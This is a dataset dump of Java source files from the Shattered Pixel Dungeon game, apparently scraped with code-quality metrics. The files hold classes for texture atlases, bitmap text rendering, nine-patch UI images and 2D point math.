{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/TextureFilm.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.gltextures.SmartTexture; import com.watabou.gltextures.TextureCache; import com.watabou.utils.RectF; import java.util.HashMap; public class TextureFilm { private static final RectF FULL = new RectF( 0, 0, 1, 1 ); private int texWidth; private int texHeight; private SmartTexture texture; protected HashMap<Object,RectF> frames = new HashMap<>(); public TextureFilm( Object tx ) { texture = TextureCache.get( tx ); texWidth = texture.width; texHeight = texture.height; add( null, FULL ); } public TextureFilm( SmartTexture texture, int width ) { this( texture, width, texture.height ); } public TextureFilm( Object tx, int width, int height ) { texture = TextureCache.get( tx ); texWidth = texture.width; texHeight = texture.height; float uw = (float)width / texWidth; float vh = (float)height / texHeight; int cols = texWidth / width; int rows = texHeight / height; for (int i=0; i < rows; i++) { for (int j=0; j < cols; j++) { RectF rect = new RectF( j * uw, i * vh, (j+1) * uw, (i+1) * vh ); add( i * cols + j, rect ); } } } public TextureFilm( TextureFilm atlas, Object key, int width, int height ) { texture = atlas.texture; texWidth = atlas.texWidth; texHeight = atlas.texHeight; RectF patch = atlas.get( key ); float uw = (float)width / texWidth; float vh = (float)height / texHeight; int cols = (int)(width( patch ) / width); int rows = (int)(height( patch ) / height); for (int i=0; i < rows; i++) { for (int j=0; j < cols; j++) { RectF rect = new RectF( j * uw, i * vh, (j+1) * uw, (i+1) * vh ); rect.shift( patch.left, patch.top ); add( i * cols + j, rect ); } } } public void add( Object id, RectF rect ) { frames.put( id, rect ); } public void add( Object id, int left, int top, int right, int bottom){ frames.put( id, texture.uvRect(left, top, right, bottom)); } public RectF get( Object id ) { return frames.get( id ); } public float width( Object id ){ return width( get( id ) ); } public float width( RectF frame ) { return frame.width() * texWidth; } public float height( Object id ){ return height( get( id ) ); } public float height( RectF frame ) { return frame.height() * texHeight; } }
3,119
TextureFilm
java
en
java
code
{"qsc_code_num_words": 434, "qsc_code_num_chars": 3119.0, "qsc_code_mean_word_length": 4.70967742, "qsc_code_frac_words_unique": 0.31105991, "qsc_code_frac_chars_top_2grams": 0.01956947, "qsc_code_frac_chars_top_3grams": 0.01908023, "qsc_code_frac_chars_top_4grams": 0.0278865, "qsc_code_frac_chars_dupe_5grams": 0.30479452, "qsc_code_frac_chars_dupe_6grams": 0.25146771, "qsc_code_frac_chars_dupe_7grams": 0.18590998, "qsc_code_frac_chars_dupe_8grams": 0.18590998, "qsc_code_frac_chars_dupe_9grams": 0.18590998, "qsc_code_frac_chars_dupe_10grams": 0.18590998, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0120282, "qsc_code_frac_chars_whitespace": 0.22699583, "qsc_code_size_file_byte": 3119.0, "qsc_code_num_lines": 125.0, "qsc_code_num_chars_line_max": 78.0, "qsc_code_num_chars_line_mean": 24.952, "qsc_code_frac_chars_alphabet": 0.8357528, "qsc_code_frac_chars_comments": 0.25040077, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.24324324, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.12162162, "qsc_codejava_score_lines_no_logic": 0.22972973, "qsc_codejava_frac_words_no_modifier": 0.7, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/BitmapText.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.graphics.Pixmap; import com.watabou.gltextures.SmartTexture; import com.watabou.gltextures.TextureCache; import com.watabou.glwrap.Matrix; import com.watabou.glwrap.Quad; import com.watabou.glwrap.Vertexbuffer; import com.watabou.utils.RectF; import java.nio.FloatBuffer; public class BitmapText extends Visual { protected String text; protected Font font; protected float[] vertices = new float[16]; protected FloatBuffer quads; protected Vertexbuffer buffer; public int realLength; protected boolean dirty = true; public BitmapText() { this( "", null ); } public BitmapText( Font font ) { this( "", font ); } public BitmapText( String text, Font font ) { super( 0, 0, 0, 0 ); this.text = text; this.font = font; } @Override protected void updateMatrix() { // "origin" field is ignored Matrix.setIdentity( matrix ); Matrix.translate( matrix, x, y ); Matrix.scale( matrix, scale.x, scale.y ); Matrix.rotate( matrix, angle ); } @Override public void draw() { super.draw(); if (dirty) { updateVertices(); quads.limit(quads.position()); if (buffer == null) buffer = new Vertexbuffer(quads); else buffer.updateVertices(quads); } NoosaScript script = NoosaScript.get(); font.texture.bind(); script.camera( camera() ); script.uModel.valueM4( matrix ); script.lighting( rm, gm, bm, am, ra, ga, ba, aa ); script.drawQuadSet( buffer, realLength, 0 ); } @Override public void destroy() { super.destroy(); if (buffer != null) buffer.delete(); } protected synchronized void updateVertices() { width = 0; height = 0; if (text == null) { text = ""; } quads = Quad.createSet( text.length() ); realLength = 0; int length = text.length(); for (int i=0; i < length; i++) { RectF rect = font.get( text.charAt( i ) ); if (rect == null) { rect=null; } float w = font.width( rect ); float h = font.height( rect ); vertices[0] = width; vertices[1] = 0; vertices[2] = rect.left; vertices[3] = rect.top; vertices[4] = width + w; vertices[5] = 0; vertices[6] = rect.right; vertices[7] = rect.top; vertices[8] = width + w; vertices[9] = h; vertices[10] = rect.right; vertices[11] = rect.bottom; vertices[12] = width; vertices[13] = h; vertices[14] = rect.left; vertices[15] = rect.bottom; quads.put( vertices ); realLength++; width += w + font.tracking; if (h > height) { height = h; } } if (length > 0) { width -= font.tracking; } dirty = false; } public synchronized void measure() { width = 0; height = 0; if (text == null) { text = ""; } int length = text.length(); for (int i=0; i < length; i++) { RectF rect = font.get( text.charAt( i ) ); float w = font.width( rect ); float h = font.height( rect ); width += w + font.tracking; if (h > height) { height = h; } } if (length > 0) { width -= font.tracking; } } public float baseLine() { return font.baseLine * scale.y; } public synchronized Font font() { return font; } public void font( Font value ) { font = value; } public String text() { return text; } public synchronized void text( String str ) { text = str; dirty = true; } public static class Font extends TextureFilm { public static final String LATIN_FULL = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\u007F"; public SmartTexture texture; public float tracking = 0; public float baseLine; public float lineHeight; protected Font( SmartTexture tx ) { super( tx ); texture = tx; } public Font( SmartTexture tx, int width, String chars ) { this( tx, width, tx.height, chars ); } public Font( SmartTexture tx, int width, int height, String chars ) { super( tx ); texture = tx; int length = chars.length(); float uw = (float)width / tx.width; float vh = (float)height / tx.height; float left = 0; float top = 0; float bottom = vh; for (int i=0; i < length; i++) { RectF rect = new RectF( left, top, left += uw, bottom ); add( chars.charAt( i ), rect ); if (left >= 1) { left = 0; top = bottom; bottom += vh; } } lineHeight = baseLine = height; } protected void splitBy( Pixmap bitmap, int height, int color, String chars ) { int length = chars.length(); int width = bitmap.getWidth(); float vHeight = (float)height / bitmap.getHeight(); int pos; int line = 0; spaceMeasuring: for (pos=0; pos < width; pos++) { for (int j=0; j < height; j++) { if (colorNotMatch(bitmap, pos, j, color)) break spaceMeasuring; } } add( ' ', new RectF( 0, 0, (float)pos / width, vHeight-0.01f ) ); int separator = pos; for (int i=0; i < length; i++) { char ch = chars.charAt( i ); if (ch == ' ') { continue; } else { boolean found; do{ if (separator >= width) { line += height; separator = 0; } found = false; for (int j=line; j < line + height; j++) { if (colorNotMatch( bitmap, separator, j, color)) { found = true; break; } } if (!found) separator++; } while (!found); int start = separator; do { if (++separator >= width) { line += height; separator = start = 0; if (line + height >= bitmap.getHeight()) break; } found = true; for (int j=line; j < line + height; j++) { if (colorNotMatch(bitmap, separator, j, color)) { found = false; break; } } } while (!found); add( ch, new RectF( (float)start / width, (float)line / bitmap.getHeight(), (float)separator / width, (float)line / bitmap.getHeight() + vHeight) ); separator++; } } lineHeight = baseLine = height( frames.get( chars.charAt( 0 ) ) ); } private boolean colorNotMatch(Pixmap pixmap, int x, int y, int color) { int pixel = pixmap.getPixel(x, y); if ((pixel & 0xFF) == 0) { return color != 0; } return pixel != color; } public static Font colorMarked( Pixmap bmp, int color, String chars ) { Font font = new Font( TextureCache.get( bmp ) ); font.splitBy( bmp, bmp.getHeight(), color, chars ); return font; } public static Font colorMarked( Pixmap bmp, int height, int color, String chars ) { Font font = new Font( TextureCache.get( bmp ) ); font.splitBy( bmp, height, color, chars ); return font; } public RectF get( char ch ) { if (frames.containsKey( ch )){ return super.get( ch ); } else { return super.get( '?' ); } } } }
7,688
BitmapText
java
en
java
code
{"qsc_code_num_words": 938, "qsc_code_num_chars": 7688.0, "qsc_code_mean_word_length": 4.891258, "qsc_code_frac_words_unique": 0.25266525, "qsc_code_frac_chars_top_2grams": 0.01394943, "qsc_code_frac_chars_top_3grams": 0.02092415, "qsc_code_frac_chars_top_4grams": 0.00697472, "qsc_code_frac_chars_dupe_5grams": 0.24803836, "qsc_code_frac_chars_dupe_6grams": 0.2136007, "qsc_code_frac_chars_dupe_7grams": 0.18003487, "qsc_code_frac_chars_dupe_8grams": 0.14407149, "qsc_code_frac_chars_dupe_9grams": 0.13230166, "qsc_code_frac_chars_dupe_10grams": 0.12685266, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01638177, "qsc_code_frac_chars_whitespace": 0.26951093, "qsc_code_size_file_byte": 7688.0, "qsc_code_num_lines": 366.0, "qsc_code_num_chars_line_max": 154.0, "qsc_code_num_chars_line_mean": 21.00546448, "qsc_code_frac_chars_alphabet": 0.8005698, "qsc_code_frac_chars_comments": 0.10522893, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.24513619, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0077821, "qsc_code_frac_chars_string_length": 0.00087222, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00058148, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.04280156, "qsc_codejava_score_lines_no_logic": 0.13229572, "qsc_codejava_frac_words_no_modifier": 0.91666667, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/NinePatch.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.gltextures.SmartTexture; import com.watabou.gltextures.TextureCache; import com.watabou.glwrap.Quad; import com.watabou.glwrap.Vertexbuffer; import com.watabou.utils.RectF; import java.nio.FloatBuffer; public class NinePatch extends Visual { public SmartTexture texture; protected float[] vertices; protected FloatBuffer quads; protected Vertexbuffer buffer; protected RectF outterF; protected RectF innerF; protected int marginLeft; protected int marginRight; protected int marginTop; protected int marginBottom; protected float nWidth; protected float nHeight; protected boolean flipHorizontal; protected boolean flipVertical; protected boolean dirty; public NinePatch( Object tx, int margin ) { this( tx, margin, margin, margin, margin ); } public NinePatch( Object tx, int left, int top, int right, int bottom ) { this( tx, 0, 0, 0, 0, left, top, right, bottom ); } public NinePatch( Object tx, int x, int y, int w, int h, int margin ) { this( tx, x, y, w, h, margin, margin, margin, margin ); } public NinePatch( Object tx, int x, int y, int w, int h, int left, int top, int right, int bottom ) { super( 0, 0, 0, 0 ); texture = TextureCache.get( tx ); w = w == 0 ? texture.width : w; h = h == 0 ? texture.height : h; nWidth = width = w; nHeight = height = h; vertices = new float[16]; quads = Quad.createSet( 9 ); marginLeft = left; marginRight = right; marginTop = top; marginBottom= bottom; outterF = texture.uvRect( x, y, x + w, y + h ); innerF = texture.uvRect( x + left, y + top, x + w - right, y + h - bottom ); updateVertices(); } protected void updateVertices() { quads.position( 0 ); float right = width - marginRight; float bottom = height - marginBottom; float outleft = flipHorizontal ? outterF.right : outterF.left; float outright = flipHorizontal ? outterF.left : outterF.right; float outtop = flipVertical ? outterF.bottom : outterF.top; float outbottom = flipVertical ? outterF.top : outterF.bottom; float inleft = flipHorizontal ? innerF.right : innerF.left; float inright = flipHorizontal ? innerF.left : innerF.right; float intop = flipVertical ? innerF.bottom : innerF.top; float inbottom = flipVertical ? innerF.top : innerF.bottom; Quad.fill( vertices, 0, marginLeft, 0, marginTop, outleft, inleft, outtop, intop ); quads.put( vertices ); Quad.fill( vertices, marginLeft, right, 0, marginTop, inleft, inright, outtop, intop ); quads.put( vertices ); Quad.fill( vertices, right, width, 0, marginTop, inright, outright, outtop, intop ); quads.put( vertices ); Quad.fill( vertices, 0, marginLeft, marginTop, bottom, outleft, inleft, intop, inbottom ); quads.put( vertices ); Quad.fill( vertices, marginLeft, right, marginTop, bottom, inleft, inright, intop, inbottom ); quads.put( vertices ); Quad.fill( vertices, right, width, marginTop, bottom, inright, outright, intop, inbottom ); quads.put( vertices ); Quad.fill( vertices, 0, marginLeft, bottom, height, outleft, inleft, inbottom, outbottom ); quads.put( vertices ); Quad.fill( vertices, marginLeft, right, bottom, height, inleft, inright, inbottom, outbottom ); quads.put( vertices ); Quad.fill( vertices, right, width, bottom, height, inright, outright, inbottom, outbottom ); quads.put( vertices ); dirty = true; } public int marginLeft() { return marginLeft; } public int marginRight() { return marginRight; } public int marginTop() { return marginTop; } public int marginBottom() { return marginBottom; } public int marginHor() { return marginLeft + marginRight; } public int marginVer() { return marginTop + marginBottom; } public float innerWidth() { return width - marginLeft - marginRight; } public float innerHeight() { return height - marginTop - marginBottom; } public float innerRight() { return width - marginRight; } public float innerBottom() { return height - marginBottom; } public void flipHorizontal(boolean value) { flipHorizontal = value; updateVertices(); } public void flipVertical(boolean value) { flipVertical = value; updateVertices(); } public void size( float width, float height ) { this.width = width; this.height = height; updateVertices(); } @Override public void draw() { super.draw(); if (dirty){ if (buffer == null) buffer = new Vertexbuffer(quads); else buffer.updateVertices(quads); dirty = false; } NoosaScript script = NoosaScript.get(); texture.bind(); script.camera( camera() ); script.uModel.valueM4( matrix ); script.lighting( rm, gm, bm, am, ra, ga, ba, aa ); script.drawQuadSet( buffer, 9, 0 ); } @Override public void destroy() { super.destroy(); if (buffer != null) buffer.delete(); } }
5,725
NinePatch
java
en
java
code
{"qsc_code_num_words": 694, "qsc_code_num_chars": 5725.0, "qsc_code_mean_word_length": 5.65850144, "qsc_code_frac_words_unique": 0.26657061, "qsc_code_frac_chars_top_2grams": 0.01833461, "qsc_code_frac_chars_top_3grams": 0.03666921, "qsc_code_frac_chars_top_4grams": 0.04074357, "qsc_code_frac_chars_dupe_5grams": 0.2136491, "qsc_code_frac_chars_dupe_6grams": 0.1851286, "qsc_code_frac_chars_dupe_7grams": 0.17086835, "qsc_code_frac_chars_dupe_8grams": 0.17086835, "qsc_code_frac_chars_dupe_9grams": 0.04023428, "qsc_code_frac_chars_dupe_10grams": 0.02139037, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00881251, "qsc_code_frac_chars_whitespace": 0.20716157, "qsc_code_size_file_byte": 5725.0, "qsc_code_num_lines": 232.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 24.67672414, "qsc_code_frac_chars_alphabet": 0.85635603, "qsc_code_frac_chars_comments": 0.13641921, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1509434, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.10062893, "qsc_codejava_score_lines_no_logic": 0.25786164, "qsc_codejava_frac_words_no_modifier": 0.94117647, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/PointF.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.badlogic.gdx.math.MathUtils; public class PointF { public static final float PI = 3.1415926f; public static final float PI2 = PI * 2; public static final float G2R = PI / 180; public float x; public float y; public PointF() { } public PointF( float x, float y ) { this.x = x; this.y = y; } public PointF( PointF p ) { this.x = p.x; this.y = p.y; } public PointF( Point p ) { this.x = p.x; this.y = p.y; } public PointF clone() { return new PointF( this ); } public PointF scale( float f ) { this.x *= f; this.y *= f; return this; } public PointF invScale( float f ) { this.x /= f; this.y /= f; return this; } public PointF set( float x, float y ) { this.x = x; this.y = y; return this; } public PointF set( PointF p ) { this.x = p.x; this.y = p.y; return this; } public PointF set( float v ) { this.x = v; this.y = v; return this; } public PointF polar( float a, float l ) { this.x = l * MathUtils.cos(a); this.y = l * MathUtils.sin( a ); return this; } public PointF offset( float dx, float dy ) { x += dx; y += dy; return this; } public PointF offset( PointF p ) { x += p.x; y += p.y; return this; } public PointF negate() { x = -x; y = -y; return this; } public PointF normalize() { float l = length(); x /= l; y /= l; return this; } public Point floor() { return new Point( (int)x, (int)y ); } public float length() { return (float) Math.sqrt( x * x + y * y ); } public static PointF sum( PointF a, PointF b ) { return new PointF( a.x + b.x, a.y + b.y ); } public static PointF diff( PointF a, PointF b ) { return new PointF( a.x - b.x, a.y - b.y ); } public static PointF inter( PointF a, PointF b, float d ) { return new PointF( a.x + (b.x - a.x) * d, a.y + (b.y - a.y) * d ); } public static float distance( PointF a, PointF b ) { float dx = a.x - b.x; float dy = a.y - b.y; return (float) Math.sqrt( dx * dx + dy * dy ); } public static float angle( PointF start, PointF end ) { return (float)Math.atan2( end.y - start.y, end.x - start.x ); } @Override public String toString() { return "" + x + ", " + y; } @Override public boolean equals(Object o) { if (super.equals(o)) return true; return o instanceof PointF && (((PointF)o).x == x && ((PointF)o).y == y); } }
3,204
PointF
java
en
java
code
{"qsc_code_num_words": 508, "qsc_code_num_chars": 3204.0, "qsc_code_mean_word_length": 3.85826772, "qsc_code_frac_words_unique": 0.28149606, "qsc_code_frac_chars_top_2grams": 0.09183673, "qsc_code_frac_chars_top_3grams": 0.08163265, "qsc_code_frac_chars_top_4grams": 0.10102041, "qsc_code_frac_chars_dupe_5grams": 0.31734694, "qsc_code_frac_chars_dupe_6grams": 0.25612245, "qsc_code_frac_chars_dupe_7grams": 0.19693878, "qsc_code_frac_chars_dupe_8grams": 0.17295918, "qsc_code_frac_chars_dupe_9grams": 0.1627551, "qsc_code_frac_chars_dupe_10grams": 0.1627551, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01345103, "qsc_code_frac_chars_whitespace": 0.25749064, "qsc_code_size_file_byte": 3204.0, "qsc_code_num_lines": 159.0, "qsc_code_num_chars_line_max": 76.0, "qsc_code_num_chars_line_mean": 20.1509434, "qsc_code_frac_chars_alphabet": 0.81042455, "qsc_code_frac_chars_comments": 0.2437578, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00082542, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.18181818, "qsc_codejava_score_lines_no_logic": 0.31818182, "qsc_codejava_frac_words_no_modifier": 0.95238095, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, 